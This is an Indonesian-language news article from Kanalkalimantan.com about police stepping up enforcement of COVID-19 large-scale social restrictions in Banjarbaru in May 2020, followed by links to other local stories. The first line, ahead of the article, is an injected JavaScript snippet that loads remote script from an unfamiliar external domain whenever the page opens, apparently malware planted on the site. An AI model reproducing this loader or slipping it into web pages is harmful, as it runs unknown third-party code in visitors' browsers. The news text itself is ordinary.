(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Hari ke-5 PSBB Banjarbaru, Petugas Perketat Penjagaan dan Mulai Lakukan Tindakan Tegas


KANALKALIMANTAN.COM, BANJARBARU – Kapolres Banjarbaru AKBP Doni Hadi Santoso mengatakan di hari kelima pelaksanaan PSBB di Kota Banjarbaru, kini lebih mengedepankan tindakan tegas. Jika sebelumnya petugas masih melakukan sosialisasi, maka beda halnya dengan kali ini.

Contohnya saja, jika adanya pengendara yang melintasi Posko PSBB tak menggunakan masker. Biasanya petugas dalam hal ini memberikan imbauan dan pengendara akan diberikan masker secara cuma-cuma. Namun kali ini, petugas tidak akan mentolerir dan langsung menyuruh pengendara untuk balik kanan / putar balik.

“Di hari ke lima ini kita telah menyesuaikan dengan aturan PSBB. Memang awalny kita masih sosialisasi karena masih ada masyarakat yang belum tau PSBB. Tapi sekarang sudah mulai mengerti dan tindakan tegas sudah harus diterapkan,” ujarnya, Rabu (20/5/2020) siang.

Diakui Kapolres bahwa eskalasi kepadatan masyarakat saat ini telah cenderung menurun selama digelar PSBB ini. Meski begitu, petugas di lapangan tetap melakukan siaga. Khususnya antisipasi berbagai modus masyarakat yang ingin mudik.

Ditanya terkait longgarnya penjagaan di posko cek poin Pembatasan Sosial Berskala Besar (PSBB) di Banjarbaru, AKBP Doni angkat bicara. Menurutnya, anggapan longgar itu sebenarnya tidak tepat karena posko memang disiagakan selama 24 jam. “Bukan longgar, tapi memang diatur untuk pembagian penjagaannya (jadwal jaga). Ini merupakan perpaduan petugas penjagaan (di posko) dari Kabupaten Banjar dan Banjarbaru,” terang Kapolres.

Karena hal itu, maka seburnya bahwa memang kadang di jam tertentu posko tidak dilakukan penjagaan oleh petugas. “Karena ini kan kita lakukan bersama-sama (dua wilayah), jadi memang diatur jadwal penjagaannya.”

Ia pun memahami bahwa mungkin sebagian masyarakat ada yang menilai bahwa posko terkesan tidak dijaga ketat. Tetapi ditegaskannya lagi, bahwa penjagaan 24 jam memang tetap dilakukan. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.